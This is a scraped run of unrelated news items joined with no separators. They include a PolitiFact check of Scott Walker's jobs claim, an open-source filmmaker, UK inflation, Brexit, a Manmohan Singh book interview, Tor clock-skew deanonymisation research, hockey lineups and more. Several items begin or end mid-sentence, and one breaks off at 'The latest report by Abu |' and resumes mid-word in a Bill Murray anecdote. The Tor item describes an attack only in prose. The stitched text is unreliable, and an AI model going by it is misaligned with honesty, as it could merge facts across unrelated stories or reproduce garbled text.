But what about the governor’s claim that the policies of Doyle cost the state more than 133,000 jobs in the previous four years?
Let’s start with the numbers.
Doyle’s second term was from 2006 to 2010. At the start of that time frame, Wisconsin had 2,404,928 jobs, according to the state Department of Workforce Development. Four years later, when Doyle left office, the state had 133,943 fewer jobs.
So Walker is on point on the raw number of jobs lost in Doyle’s final term.
But Walker’s claim was about more than the numbers. In going after Burke -- Commerce Secretary from 2005 until the end of 2007 -- he attributed the loss to the policies of the Doyle administration.
To support his claim, Walker’s office provided an email statement, links to news clippings and portions of an "issue book" produced by state Senate Republicans in for the 2009-’10 term.
"Governor Doyle’s vision for Wisconsin included bigger government, the use of one-time funds and budget gimmicks (raid of segregated funds), out-of-control spending, and tax increases," said the email from Walker spokesman Tom Evenson. "These policies led to an environment unfriendly to workers and job creators and contributed to the loss of over 133,000 jobs in his last term."
The email also said that under Doyle, the state raised taxes by " nearly $5 billion and used one-time stimulus money to fill a budget hole."
"These taxes fell on employers both directly and indirectly as well as on working families taking away more of their hard-earned income and sending it to Madison. Also, employers and others knew that using one-time money would grow future deficits which could fall on them in the form of higher taxes."
The email states: "These actions contributed to Wisconsin’s job loss of more than 133,000 private sector jobs."
Let’s pause right there.
In the Wisconsin Eye interview, the governor said that Doyle administration policies were responsible for the job losses. The statement from Evenson says only the actions "contributed" to the job losses.
The view from experts
When we asked several experts for their view on the 2006-’10 employment situation in Wisconsin, all had the same general observation: In that period, the U.S. economy suffered the worst economic downturn in more than 75 years -- and Wisconsin was not immune.
In fact, they said, Wisconsin fared somewhat better than the country as a whole.
"I'm pretty sure there is plenty of blame to be shared by a lot of people, but it might be unfair to pin it all on one person or administration," said Brian Jacobsen, an economist at Wells Fargo Bank and lecturer at Wisconsin Lutheran College.
"Considering employment in Wisconsin declined 5.3% during that time while U.S. employment declined 5.6%, blaming it on Doyle might not be all that fair."
Jacobsen said the jobs decline "probably wasn't exaggerated by Doyle's policies. If his policies were to blame, we probably would have seen a larger percentage decline in employment in Wisconsin. I do think it is fair to criticize previous policy decisions, especially related to tax policy, in making the bounce back tougher."
In a previous PolitiFact item about the recession, Jacobsen noted that the National Bureau of Economic Research, which declares the start and end of recessions, says "economic activity in the U.S. peaked in December 2007 and reached a trough in June 2009."
Marquette University economics professor Abdur Chowdhury attributed the loss of jobs mainly to the Great Recession.
"If you think about it, Wisconsin fared much better than many other states -- the total U.S. job loss during the Great Recession was about 8 million and Wisconsin's share was less than 200,000," he said. "I wouldn't blame the Doyle administration solely for this job loss. In the face of a national economic collapse, there wasn't much that the Doyle administration -- or, for that matter, any other administration -- could do."
We also checked with Richard Freeman, a Harvard University professor and the director of the the National Bureau of Economic Research, the organization that determines, among other things, the official start and end of recessions. He also said the key to understanding the state’s performance during the recession was that Wisconsin’s job loss was smaller than the rest of the country.
Freeman’s time frame differs slightly from the others but his conclusion was the same: "Wisconsin had 2.132% of (the nation’s) private-sector jobs in 2007 and 2.149% of those jobs in 2010. This means that Wisconsin had a smaller job loss than other states."
Freeman added: "I doubt that state government had much impact on private sector job loss."
Our rating
Walker said that the policies of Doyle, his predecessor, led to the loss of more than 133,000 jobs in Doyle’s last term.
He’s correct about the number. But experts agree that Wisconsin’s economy was caught in the same economic crash that crippled the entire country -- the recession was deeper and more severe than any single state’s policies, including those of Doyle.
They note that Wisconsin actually fared somewhat better than the rest of the country. This leaves us with a statement that’s numerically true, but with scant evidence at best when it comes to blame. That’s Mostly False on our meter.
To comment on this item, visit this page.A filmmaker is planning to spend a year living an open source life—with everything from his clothes to his toilet paper strictly adhering to the philosophy.
Sam Muirhead, a New Zealander living in Berlin, will begin his challenge on August 1, 2012 and is raising money on crowdfunding site IndieGoGo to support the ambitious project. Muirhead, who admits he cannot code or solder and is permanently synced to his Mac, will need all the help he can get to answer some of his most pressing open source related questions: "Can I 3D print jeans, can robots cook me breakfast?"
The enthusiasm he has for spreading the word and educating the public on how to translate the philosophy to everyday life looks as though it will fuel him for the full year, however.
"I'll be testing just how far the open source idea can go in real life," he says with palpable excitement on his promotional video, while fixing a penguin sticker over his MacBook's Apple symbol. "I'm excited about exploring the different sides of open source with humor, clarity, and critical thinking, as I untangle myself from a world of consumerism and go from an open source outsider to a total DIYer and Linux nerd."
Muirhead, who has so far raised $2,650 of the target $20,000 with 27 days to go, says he wants to engross himself in the crowd sourcing philosophy and track down alternatives to daily, unconstructive consumerism.
Along the way, he hopes to highlight issues surrounding the time-wasting, unproductive, and anti-innovation copyright issues facing technology today.
"Every week you see Apple, Samsung, and Google throwing million-dollar lawsuits at each other, when technologically they all have shared goals," he told New Zealand News. "Whereas in the open source community there's the adage that competitors stand on each others' shoulders, not on each others' toes."
He will be forgoing Apple's Final Cut Pro software for Lightworks or Novacut to edit the weekly films that will appear on his blog diary, resort to "regular writing" at times, and turn to local hacker community c-base to help him develop a camera of sufficient quality using open source technology. While documenting his project is a great way of getting the word out, it also works to show how open source itself is an ideal format for storytelling—a constant flow of information being updated, rather than perfected over a year spent generating a feature-length film, is a great way to share ideas and experiences as they happen.
Picturing an entire life's worth of "stuff," it almost seems an impossibility that Muirhead can succeed in a total open source life. In his promotional video he uses clothing as an example: he is either going to have to find companies selling open source clothing, or make his own from open source patterns—cut to Muirhead being filmed following a Berlin hipster down the street in toga and flip flops.
"It'll be fun," says the quite possibly masochistic Muirhead. "But they'll be plenty of challenges—I must say I'm not looking forward to open source toilet paper."
Working with the Berliner "producers, hackers, makers, designers, dreamers, engineers, scientists, and artists" who will hopefully answer his call, he will create his own alternative products by engaging in collaborative community projects. The final plans, codes, or diagrams will be published on his blog so that the public can replicate or amend his creations. They will eventually be able to amend the designs live on his site. He will also be turning to open source education to teach himself a thing or two about coding and soldering.
As well as bringing together the Berliner community—which already has the MakerLab promoting innovation, local urban farms sharing in the philosophy, and its very own open source political Pirate Party—to aid him in the challenge, generate enthusiasm for open sourcing, and inspire new ideas, the collaborations will also help Muirhead avoid a year's worth of diary videos depicting him "alone on my coach."
Along the way the public will be able to request help for their own open source projects, and those who contribute to the crowdfunding will get "a tip of the hat, a sly wink, a kiss blown on the wind, a humble bow, and a thank you on the website"—and perhaps some original illustrations. The money they donate will go toward materials for new creations and the production costs of documenting the whole thing.
As much fun as it will be to watch Muirhead tackle the weekly challenge of tracking down open source toilet paper, it will also be exciting to follow the progress of a project that stands to bring together the already open Berliner community in new and interesting feats of design, technology, and innovation.
Listing image by Sam MuirheadThe EU wants to banish the word bankruptcy from the English language because it is too stigmatising, according to reports.
Officials in Brussels want to see the term replaced with a more neutral phrase, such as “debt adjustment”.
The idea is part of wider reforms being considered to harmonise economic arrangements across the EU and make it easier for people who have run into financial problems to be given a second chance.
A report from the department of the EU’s Directorate General for International Policies said use of the word bankruptcy was too potent and made it difficult for people to rebuild their financial reputation.
The report states that: “The use of stigmatising labels should be ended, and the pejorative term “bankruptcy” should be replaced with the more neutral ‘debt adjustment’.”
But such a move would see the phasing out of a word that has been in common parlance in the English word for more than 500 years.
It is thought the term derives from the Italian ‘banca rotta’ meaning broken bench, which refers to the ancient custom of breaking a money changer’s bench to signify his insolvency.
Tory MP Brooks Newmark, who is a member of the Commons Treasury Select Committee told the Mail on Sunday: “This shows just how intellectually bankrupt – sorry debt adjusted – the European Union has become.”
The report comes as the Commission looks to unify financial services across the EU.
Among his other proposals are suggestions that banks should be penalised if inappropriate lending contributes to someone’s financial problems.
Other examples where the EU has attempted to interfere with language includes a recent recommendation that the words Miss and Mrs ought not to be used in certain circumstances because they were not considered to be politically correct.
A spokesman for the European Parliament said: “The report makes clear that the opinions expressed in the document are the sole responsibility of the authors and do not necessarily represent the official position of the European Parliament.”Image copyright Getty Images Image caption Slowing real income growth could be a challenge for the Prime Minister
It was Harry S Truman who famously pleaded for a one handed economist, so tired was he of proponents of the dismal science saying "well, on the one hand, sir... but on the other..."
Sadly for the 33rd President of the United States, you would need a lot of hands to explain today's surprisingly rapid increase in inflation.
Rising global commodity prices are pushing up inflation pressures around the world.
As global growth strengthens, that upward pressure is likely to increase.
In 2015 and early 2016, we saw a period of deflation - falling prices - in key sectors such as fuel and clothing, so the rise now (in comparison with a year ago) is particularly stark.
More recently, poor weather in southern Europe has meant that foods such as salad have increased in price by over 60%.
Although, as Alan Clarke from Scotia Bank, points out, "the lettuce crisis didn't cause today's big upwards surprise."
Image copyright AP Image caption Prices for lettuce and other vegetables rose as supermarkets were forced to ration them
What did were increases in the prices of food (the first year-on-year rise for more than two years), fuel and what are described as "recreational" goods (such as televisions and laptops).
These increases can all be linked, at least in part, to the cost of importing goods into the UK.
And a large part of that increase in cost comes from the fall in the value of sterling since the referendum.
Although it is always worth pointing out that sterling's fall was evident before the referendum (many economists argue it was over-valued) and that the dollar has been particularly strong as the Federal Reserve raises interest rates.
Interest rate rise?
Will the increase in inflation continue and put pressure on the Bank of England to raise interest rates?
Well, input prices - what manufacturers pay for the materials and fuel they use - are rising by over 20% a year, the fastest since 2008.
And those costs will increasingly be pushed through to consumers.
So in the medium term, inflation is on an upward trajectory and could peak above the Bank's own forecast of 2.7% in the first three months of next year.
But, and it is a significant but, wage growth (a long-term motor of inflation) is actually slowing.
Last month, incomes grew by 2.3%, significantly down on a month earlier and the same number as today's inflation figure.
Wages squeeze
Yes, it is only one month's data, but as it stands, real income growth has stalled and groups such as the Resolution Foundation believe it will now turn negative.
The great wages squeeze which followed the financial crisis could well have returned.
And that is a worry for Theresa May, as I wrote last week.
Given that trend, the dovish position of the Bank is likely to remain in place.
Yes, the markets have upped their expectations of a rate rise, but the Bank has been clear: a cut to support economic growth as the UK begins its Brexit negotiations is as likely as an increase.
And any increase, if it were to come, is likely to be small.
Which is bad news for savers, of course.
It would be ridiculous to say that Brexit is not affecting the UK's course on inflation.
But it is not the whole story. To tell that, you need plenty of hands.SAN JOSE, Calif. – The San Jose Earthquakes began seat installation at their new stadium on Tuesday and unveiled the final pattern design for the venue’s main seating bowl. The club also announced that they have surpassed 8,000 season tickets sold for the new stadium.
The seat pattern includes three different shades of blue as well as a smattering of red seats to pay homage to the club’s NASL history. Additionally, the pattern contains a coded message related to the club. The Earthquakes will host a competition calling on fans to crack the code once the final seats have been installed.
Earthquakes season ticket holder and San Carlos native Debbie Freeman was on hand Tuesday to bolt in the first seats. Club president Dave Kaval, 2010 World Cup veteran Clarence Goodson, former Quakes midfielder Chris Dangerfield and Camatic Seating senior vice president Ken Griffiths joined Freeman to break in the new seats by sitting down for a quick chat and photo.
The club now has over 8,000 season tickets sold for the 2015 season. All luxury suites, club sections and premier midfield seats are sold out as well as section 110.
For more information about season ticket packages, fans should call the club’s Front Office at 408-556-7700 or visit www.sjearthquakes.com/newstadium.
Fans can also register for a free tour of the construction site by completing the form at: //www.sjearthquakes.com/newstadium/tours.Thursday on Fox News Channel’s “Tucker Carlson Tonight,” The Intercept’s Glenn Greenwald elaborated on his article claiming there was a “deep state” within the U.S. government is waging a war on democratically elected President-elect Donald Trump.
Greenwald, who was sure to point out he was against Trump’s candidacy during the 2016 campaign, told host Tucker Carlson there was those on the left calling for the intelligence community to undermine Trump’s presidency.
“You see Democrats at this point — even liberals opening calling for and cheering for the intervention of the CIA, the intelligence community, the overall deep state hoping that because they failed to do so that this unelected faction in Washington will undermine and subvert and destroy the legitimacy of Donald Trump’s presidency before he is even inaugurated. And I think what you’re seeing is actually quite dangerous. There really is, at this point, obvious open warfare between this unelected but very powerful faction that resides in Washington and sees presidents come and go, on the one hand, and the person that the American democracy elected to be the president on the other who is supposed to be it’s chief executive and there’s clear extreme conflict and a lot of subversion taking place.
Follow Jeff Poor on Twitter @jeff_poorCanada kicked off the Four Nations women's soccer tournament with a 2-1 victory over South Korea on Sunday at the Shenzhen Bao'an Sports Center.
Yue Minji opened the scoring before Janine Beckie of Regina and Kadeisha Buchanan of Toronto tallied in the second half for Canada.
"That's as strong a performance as I've seen these players put in over a 60-minute period," said Canadian coach John Herdman. "It bodes well, I'm really happy. It showed some real resilience in coming back."
The teams split their two meetings last year. Canada holds the No. 9 position in the latest FIFA world rankings, eight spots ahead of South Korea.
No. 13 China, the tournament host, and No. 25 Mexico are the other teams in the round-robin tournament. Canada will play Mexico on Tuesday.
All four teams are preparing for this summer's FIFA Women's World Cup in Canada. China and Canada are in Group A, South Korea is in Group E and Mexico is in Group F.
Canada had an international record of four wins, five losses and two ties last year.“History will be kinder to me than the contemporary media,” Manmohan Singh told reporters at a press conference earlier this year. Sanjaya Baru’s book ‘The Accidental Prime Minister: The Making and Unmaking of Manmohan Singh’ isn’t a revisionist exercise that will change public opinion about the PM who abdicated. In fact, it only reinforces the image of a ‘puppet PM’. But it does paint a portrait of an earnest, hard-working PM who let his loyalty — “misplaced and unrewarded” — to the Gandhi family get the better of his judgment. Baru, who was media adviser to the PM between 2004 and 2008, compares Singh to Bheeshma who watched with impotent rage as Draupadi was disrobed and didn’t put his foot down on the Kaurava succession. Excerpts from an interview...The book discusses this in some detail. I used the word ‘defanging' to refer to what happened between May 21, 2009 and July 2009.First, he should have contested the Lok Sabha elections in 2009 and returned to office with his own mandate. Second, he should have quit when it became clear that the Congress's priority was to bring Rahul in rather than defend the PM.Maybe, but he would preserved the dignity of the Prime Minister's Office.In selecting his own cabinet and team.This question has been addressed in the book. I believe it was the arrangement that Sonia would get all the credit for the government's “progressive social policies”.That is hard to say, but I guess in the final analysis the PM undermined himself. Sonia Gandhi. Without her support he would not have been able to do much of what he did.I think the government lost control over fiscal policy in UPA-2. But it is possible to suggest that the momentum of the populism of UPA-1 did the damage when the economy slowed down, but government spending could not.That is there for all to see. I do not have to elaborate.I have discussed in great detail Dr Singh's many strengths. His qualities of heart and mind. His administrative experience and his understanding of the world. In fact, the book has highlighted his many strengths and discussed them in great detail. He was the first PM after Nehru to get re-elected to a second term after a Nehru. The 2009 victory was his.I am amused by that reaction. I do not wish to say more. Readers can read the book and judge for themselves.That is for the readers to decide. That was not my intention in writing the book. I wanted the book published after Dr Singh left office, but my publishers felt no one would be interested in a book on Manmohan Singh after June. The decision to publish now was theirs and I finally relented.To return to power through the Lok Sabha in 2009.He was more like Bheeshma. Bheeshma faced his most embarrassing moment when Draupadi asked him why he could not protect her when she was being disrobed. As I say in the book, Dr Singh's silences in UPA-2, for which the media mocked him, made me wonder whether he too was consumed by impotent rage like Bheeshma.First, my book highlights more strengths than weaknesses. The media has naturally focused on the weaknesses, partly because of the PMO's kneejerk reaction. Second, he was better than the available competition. He had all the qualifications to be a Great PM, if he had only acquired a political base. He was a ‘good PM' in terms of the leadership he provided to government, but the Prime Minister's Office is a political office. Not an administrative office.Story highlights Article 50 starts the clock ticking on two years of formal Brexit negotiations
Everything from trade to migration, education and healthcare to be discussed
London (CNN) — The UK government has formally served divorce papers on the European Union, signaling the beginning of the end of a relationship that has endured for 44 years.
Donald Tusk, President of the European Council confirmed that the UK has triggered Article 50 of the Lisbon Treaty, beginning a legal process that must end in two years' time with Britain leaving the EU.
This official start to the Brexit process comes nine months after the country voted in a hotly contested referendum that exposed deep divisions across the country.
The Foreign Secretary, Boris Johnson, one of the leading figures in the referendum campaign, expressed his delight at the outcome. "It's a great day," he said as he left a meeting of the Cabinet in Downing Street.
Barrow arrived at the European Council headquarters Wednesday morning, emerging from a black Jaguar holding a briefcase containing the letter signed by May in Downing Street on Tuesday night. His route had been kept secret in an effort to avoid any attempts to intercept the letter.The team started training their machine by feeding it hundreds of slides marked to indicate which parts have cancerous cells and which have normal ones. They then identified which types of slides it was having the most trouble with and fed it more difficult samples. Using that method, the AI improved enough to be accurate 92 percent of the time and to win in two separate categories during the contest. It's still no match for human pathologists who are accurate 96 percent of the time, but it's clearly shown great promise.
Beck said what's truly exciting is that when they combined pathologists' analysis with their creation's, the results showed 99.5 percent accuracy. He added: "Our results in the ISBI competition show that what the computer is doing is genuinely intelligent and that the combination of human and computer interpretations will result in more precise and more clinically valuable diagnoses to guide treatment decisions." If you want to read more about this breast cancer-detecting AI, the team published a paper detailing their experience.Next month I will be presenting my paper “Hot or Not: Revealing Hidden Services by their Clock Skew” at the 13th ACM Conference on Computer and Communications Security (CCS) held in Alexandria, Virginia.
It is well known that quartz crystals, as used for controlling system clocks of computers, change speed when their temperature is altered. The paper shows how to use this effect to attack anonymity systems. One such attack is to observe timestamps from a PC connected to the Internet and watch how the frequency of the system clock changes.
Absolute clock skew has been previously used to tell whether two apparently different machines are in fact running on the same hardware. My paper adds that because the skew depends on temperature, in principle, a PC can be located by finding out when the day starts and how long it is, or just observing that the pattern is the same as a computer in a known location.
However, the paper is centered around hidden services. This is a feature of Tor which allows servers to be run without giving away the identity of the operator. These can be attacked by repeatedly connecting to the hidden service, causing its CPU load, hence temperature, to increase and so change the clockskew. Then the attacker requests timestamps from all candidate servers and finds the one demonstrating the expected clockskew pattern. I tested this with a private Tor network and it works surprisingly well.
In the graph below, the temperature (orange circles) is modulated by either exercising the hidden service or not. This in turn alters the measured clock skew (blue triangles). The induced load pattern is clear in the clock skew and an attacker could use this to de-anonymise a hidden service. More details can be found in the paper (PDF 1.5M).Dubai: As thousands of new apartments and villas were delivered in Dubai recently, residential rents dropped further by an average of three per cent in June, according to a report released on Sunday.
The latest report by Abu |
shine and we went to see MC Hammer. We ended up on the side of the stage. Let me preface this by saying I was working really hard on this movie and I didn't have time to work as hard as I could have on my laundry all the time.
So the spotlight starts creeping over and damned if he doesn't come over and do knucklehead and that kind of stuff. I said, 'I'm high on moonshine, go away.' So he comes back for the big 'Can't Touch This' number and I happen to know the entire crazy dance step.
So he makes me come up on stage and start doing the thing. Well, what the hell? I've had like four or five ounces of 190 proof alcohol. So I start doing the dance number and I'm screaming. I start pushing a little bit far and I go for some sort of advanced move and split my pants! And... I didn't have all the clothing that I have on a lot of times.
I did sort of shuffle over to the side and I staggered over to where my wife Jenny was and she was a professional costumer and she just miraculously happened to have seven massive safety pins in her pocket. So I got pinned right there and I went out and finished the number with a little bit less enthusiasm but a lot of soul."
- Bill MurrayImage copyright PA Image caption The former prime minister said he would retain a small number of personal consultancies
Tony Blair has said he is winding up most of his commercial ventures to focus on not-for-profit work.
The ex-Labour prime minister is closing his lobbying and consultancy business, Tony Blair Associates, and associated companies Windrush and Firerush.
In an email to staff, he said while he would retain a small number of commercial contracts, 80% of his time would be spent on not-for-profit work.
He has been criticised for the amount of profit the ventures have generated.
Mr Blair, who left frontline politics in 2007, is reported to have made millions advising a number of foreign governments and multinational firms.
Although the full range of his business activities has never been disclosed, Mr Blair was reported to have been paid £2m a year alone by JP Morgan after leaving office.
Earlier this year, it was claimed he had a lucrative deal advising the Kazakh government.
Image copyright AFP Image caption It was reported that Kazakhstan ruler Nursultan Nazarbayev was among Mr Blair's clients
His links with Kazakh president Nursultan Nazarbayev, who has ruled the country since 1989 and whose human rights record has been condemned, have been controversial.
Mr Blair, however, has rejected claims of any conflict of interest between his commercial and his not-for-profit work.
His not-for-profit ventures include his Faith Foundation and the Centre for Geopolitics and Religion, which focuses on addressing the root causes of Islamist extremism and supporting inter-faith dialogue.
Following a review of his business interests, Mr Blair said he had decided to refocus his activities and would give the "substantial financial reserves" generated by his businesses in recent years to not-for-profit causes.
'New level'
In an email, he said: "Over the past nine years we have built a group of organisations employing around 200 people and working in more than 20 different countries round the world. It is time to take this to a new level.
"As I indicated last December at our annual all staff meeting, I want to expand our activities and bring everything under one roof.
"I also want now to concentrate the vast bulk of my time on the not for profit work which we do. De facto, this has been the case in the past two years but we need to reflect this change in the way we are structured."
He added: "I will retain a small number of personal consultancies for my income, but 80% of my time will be pro bono on the not for profit side."
Mr Blair, who is 63, was prime minister between 1997 and 2007. After stepping down, he served as a Middle East envoy for eight years. He and his wife Cherie also have substantial property investments in the UK.CHICAGO (CBS) – Cook County board meetings are usually dry and filled with policy and procedure details.
On Tuesday, that was not the case. There were tears and real emotion.
CBS 2’s Roseanne Tellez introduces us to some of the people who got the most unwelcome news, days before Thanksgiving.
Some county employees begged for their jobs.
Cook County commissioners who supported a penny-an-ounce sweetened beverage tax say they warned of the cost of repealing it: a budget amendment filled with pain.
“It has actual layoffs of human beings who have jobs and who have families,” Commissioner Larry Suffredin (13th District) said.
Officials cut 321 jobs to fill a $200 million budget gap. These include:
-156 positions from the court system
-100 from the Cook County Sheriff’s Department
-34 from the hospital system
-15 from the board president’s office.
But commissioners say front-line services were spared.
“We did not get rid of our neurosurgeons, we did not get rid of our prosecutors, we did not get rid of our jail guards,” Commissioner Sean Morrison (17th) said.
That was little comfort for Tysha Franklin, a juvenile court employee.
Franklin says she did put her two children through college working for the county and still has faith in government.
Commissioner Morrison says with an attrition rate of two thousand a year, he hopes many of the fired employees, will get a chance to return.Glover was a firm believer that large-scale public housing developments were an utter failure, and that the living conditions in Atlanta’s public housing were intolerable. These contentions led Glover to prioritize getting “people out of these horrible conditions,” while vowing not to “rebuild a newer version of something that has failed.” She also believed that “the private sector had to be very much a part of the solution” to the housing problem – a view that made Cousins’ plan to center the redevelopment around a revitalized golf course especially attractive.
The leaders of the East Lake tenant association were immediately skeptical of Glover and Cousins’ intentions and requested the counsel of longtime public housing advocate Dennis Goldstein. Goldstein, an Atlanta Legal Aid attorney, was at the time representing tenant associations in other housing projects under redevelopment. At the request of the tenants, President Carter also assigned Frank Alexander, a faculty member at Emory University’s School of Law who was serving as a fellow with the Atlanta Project, to represent the tenants alongside Goldstein.
Meadows residents immediately began to worry about the plan’s consequences. Vivian Louise Featherstone, a sixty-seven year old Meadows resident, remembered thinking, “Where are we going?” and “how will we survive?” Now, in addition to the bullets, she felt she had to fear Cousins’ and Glover’s bulldozers as well. Eva Davis vowed to reject the plan. “A lot of residents feel like this is a sneaky way to get rid of us,” Davis said. She believed that Cousins and Glover were “just pushing [the residents] away from the golf course.” Many of the residents were worried about the stark reduction in the number of public housing units – from 650 to 206 – and the lack of planning for replacement housing.
Glover understood the concern and stressed that this was “just a proposal,” and that “nothing [would] happen without resident consent.” Giornelli also noted that “the next challenge will be to find good, decent, safe housing off the East Lake Meadows site.” He remained confident that the Foundation, the Housing Authority, and the tenants would “be able to work through this together.”
Over the next six months, the Housing Authority and the tenant association, with the guidance of Goldstein and Alexander, met weekly to work towards a redevelopment agreement. In the negotiations the residents’ main goal was to ensure that they had the right to live in whatever new facilities would be built.Paul Martin’s name is all over Turkey. On a windowpane in Şişli. A plastic bag in Trabzon. And there on a pack of underwear in Sultanahmet. It always causes a stir, and confuses one man especially: Paul Martin. “During the tourist season, I get photographs from Canadians,” says the former prime minister. They show a clothing chain called Paul Martin Canadian.
As those photos suggest, Paul Martin the man and Paul Martin the fashion brand have little in common. Marine life rendered in neon colours, motorcycles against a fuchsia background, miniature umbrellas and strawberries and turtles—Paul Martin Canadian’s textile sensibility is lively. Only Paul Martin boxer shorts, available in a selection of sensible neutrals, offer a reprieve from psychedelic print and colour.
But why does a store with dozens of Turkish locations boast that it’s Canadian? Why name itself after a Canadian prime minister? And why this prime minister? The former PM’s staff developed some theories. They joked that the company might have been founded in 2006, the year Martin left office. They thought the owner might have met the personable politician and made an elaborate homage. They thought it couldn’t be a coincidence.
On every count, they were wrong.
Over tea in Istanbul, Murat Çözer, marketer of Paul Martin Canadian, tells it like this. He was helping launch the clothing brand in 2008 (one whose aesthetic happens to bear an uncanny resemblance to British designer Paul Smith’s line). Çözer recalled an acquaintance, an Austrian guy named Paul Martin. The name sounds posh, Çözer thought. He liked that. After a few months and some googling, he discovered that another Paul Martin was once a world leader. World leaders are also posh, he thought. He liked that too.
But Çözer especially liked that this particular Paul Martin is Canadian. It’s not that Çözer loved Canada. He’d never been to Canada. He’d never met a Canadian. He doesn’t know much about the country at all.
That’s why Canada was perfect. Turkey hosts a thriving knock-off industry, and all the knock-off fashion brands pretend to be Italian or French, Çözer realized. Nobody pretends to be Canadian.
Thus, Paul Martin Canadian was born. Images of maple leaves are now fastened to the Istanbul showroom’s walls, embroidered on shirt pockets, emblazoned in silver and gold on coat hangers. The leaves aren’t exact replicas, but they are like the Canadian Maple Leaf—and in the knock-off business, being like something is good enough.
This philosophy animates the brand’s most detailed Canadiana fantasies, such as one stamped across an exuberant red plaid. “ROYAL ROQUE ISLAND TORONTO PAUL MARTIN RACE SOUTHSEA YACHT CLUB CHALLENGE ULTIMATE,” reads a dress shirt. The existence of Royal Roque Island, the Southsea Yacht Club, and a Challenge Ultimate race can’t be confirmed, but buyers seem not to care.
“Business is growing,” Çözer says. Paul Martin Canadian can charge $100 a shirt. In Istanbul’s ritziest knock-off district, Paul Martin has the ritziest storefront, easily out-glitzing the neighbours, including “Sir Diore” and “Louis Vardel.” And it’s gone global, selling in Dubai, Germany, Iraq, even the United States. It hasn’t broken into every market, though: You can’t find Paul Martin Canadian in Canada. “In Canada, there’s no demand for Paul Martin,” Çözer shrugs.
In local ads, a portly Turkish musician brandishes a clarinet, a sultry gaze and several open button holes. Çözer is picky about brand ambassadors. He is shown photographs of several men, including Ryan Gosling, Justin Bieber, Justin Trudeau and Paul Martin himself, and after studying them, Çözer declares that only one Canadian could successfully embody the Paul Martin look: Gosling.
The former prime minister isn’t insulted. “I’m going to let them make their own decisions on who’s going to model their shirts,” he says. Nor is he bothered by the pilfering of his name. “The next time I’m in Istanbul I’m going to go to the store!”
The store welcomes him. Though Çözer can’t comment on Paul Martin’s contributions to Indigenous issues or the G20, he calls him “the Big Boss” and gladly sent him some free shirts. The jaguar and maple leaf prints are a style departure for a man who often favours Brooks Brothers; in his official portrait revealed this month, he wore plain white.
“Very traditional.” Çözer observes Martin’s portrait with a slight frown. He’d never criticize the Big Boss’s sartorial decisions. Still, had Paul Martin worn Paul Martin for his portrait, Çözer would have suggested something with a contrasting blue collar and cuffs. A Paul Martin shirt could have added some pizzazz to Centre Block’s corridor of staid button-downs, just as Paul Martin himself has added a bit of posh to Istanbul’s streets.GLENDALE, Ariz. -- Scoring was a cause of concern before the season began for the Arizona Coyotes and has proven true during a disappointing 10-16-3 start.
The recent 1-6-1 slump is part of a string of eight consecutive home losses at Gila River Arena (0-6-2). The past four home games, including a 5-1 loss against the Nashville Predators Thursday, have seen the Coyotes outscored 17-3 and losing each game by at least three goals. Most of the third periods have been non-competitive.
But coach Dave Tippett, who has avoided long losing streaks during his coaching career by emphasizing core values, continues to hammer home the same point to his team: Until the strengths of the Coyotes – defense and goaltending – start to improve, any offensive improvement is even further away.
"To win in this league on a consistent basis you have to be able to defend and you need good goaltending – which both play into good penalty killing," Tippett said. "Those are the aspects that make you win, and we haven’t had enough of that this season."
Players who aren’t defending won’t play, and more lineup changes are in store Saturday.
Center Sam Gagner, who has three goals and 10 points in his first 29 games with the Coyotes, is expected to be a healthy scratch against the Minnesota Wild for the first time. Defenseman Connor Murphy, who was benched halfway through the loss against Nashville, is also out of the lineup. Forward B.J. Crombeen and defenseman Chris Summers will play against the Wild.
Goalie Mike Smith continues to struggle with a 3.35 goals-against average and.889 save percentage. He allowed five goals on Thursday and will sit Saturday with Devan Dubnyk getting the start. Dubnyk has lost his past two starts after going 5-0-1, and his goals-against average rose to 2.74. But blown assignments that force players to help and force the goalies to make big saves are keeping Tippett up at night as well.
"If the goalie stands on his head and makes save after save and wins the game, everybody walks away happy," Tippett said. "But the same mistakes are being made. We need to do more things right if we expect to be rewarded.”"
Because of the struggles, the Coyotes are trying to find a solution.
"There is belief in the room and belief in teammates in each other," Arizona forward Joe Vitale said. "And we have individual belief in one’s self with everyone here. We could be a lot more shaken, a lot more fragile than we are. It’s important to stay positive and work your way through it."
The Wild are coming off a 2-1 loss against the San Jose Sharks on Thursday and are 4-4-1 in the past nine games. The loss dropped them five points behind the Sharks and the pack of teams fighting for a spot in the Stanley Cup Playoffs prior to play on Saturday. The unsatisfying results prompted Minnesota coach Mike Yeo to have an extended conversation with the Wild before practice on Friday in Glendale.
"We’re tired of being on the cusp, we’re tired of being close," Yeo told the Minneapolis Star-Tribune on Friday. "And we need to demand better than what we’ve been bringing. We’re better than what we’ve been showing consistently. We can look at last game and we can say we were close and we could have won the game, but we can’t accept saying that.
"It would be a mistake to not think that our backs aren’t against the wall a little bit here. We’re behind. We’re not at the level and we’re not where we want to be right now. If that’s the motivation we need, that’s fine. Let’s use it. We should not be accepting of where we’re at right now and we need to demand more."
Here are the projected lineups:
WILD
Zach Parise - Mikael Granlund - Thomas Vanek
Jason Zucker - Mikko Koivu - Jason Pominville
Nino Niederreiter - Charlie Coyle - Justin Fontaine
Ryan Carter - Erik Haula - Kyle Brodziak
Ryan Suter - Jared Spurgeon
Christian Folin - Jonas Brodin
Justin Falk- Nate Prosser
Niklas Backstrom
Darcy Kuemper
Scratched: Stu Bickel
Injured: Matt Cooke (lower body); Keith Ballard (concussion, facial fractures)
Suspended: Marco Scandella
COYOTES
Mikkel Boedker - Antoine Vermette - Shane Doan
Joe Vitale – B.J. Crombeen - Lauri Korpikoski
Tobias Rieder - Martin Hanzal - Martin Erat
Brandon McMillan – Kyle Chipchura – David Moss
Oliver Ekman-Larsson - Zbynek Michalek
Keith Yandle – David Schlemko
Michael Stone – Chris Summers
Devan Dubnyk
Mike Smith
Scratched: Alexandre Bolduc, Sam Gagner, Connor Murphy
Injured: Brandon Gormley (lower body)
Status report: The Coyotes recalled Bolduc from the Portland Pirates of the American Hockey League on Friday but he won’t be in the lineup. … Gormley is getting close to returning from injury but won’t play.
Who's hot: Yandle tied Randy Carlyle for fourth place on the all-time franchise list with his 226th assist Thursday. … Doan has 12 goals and 36 points in 50 games against the Wild. … Smith has a 2.12 goals-against average against the Wild but is 4-7-1 in 12 decisions. … Parise had a five-game scoring streak (two goals, six assists) end on Thursday in San Jose. … Niederreiter has eight goals since Nov. 13 and is two shy of his career-high of 14 goals.Mom Busted For Biting Teen Daughter's Breast During Bloody Domestic Battle Share
Tweet
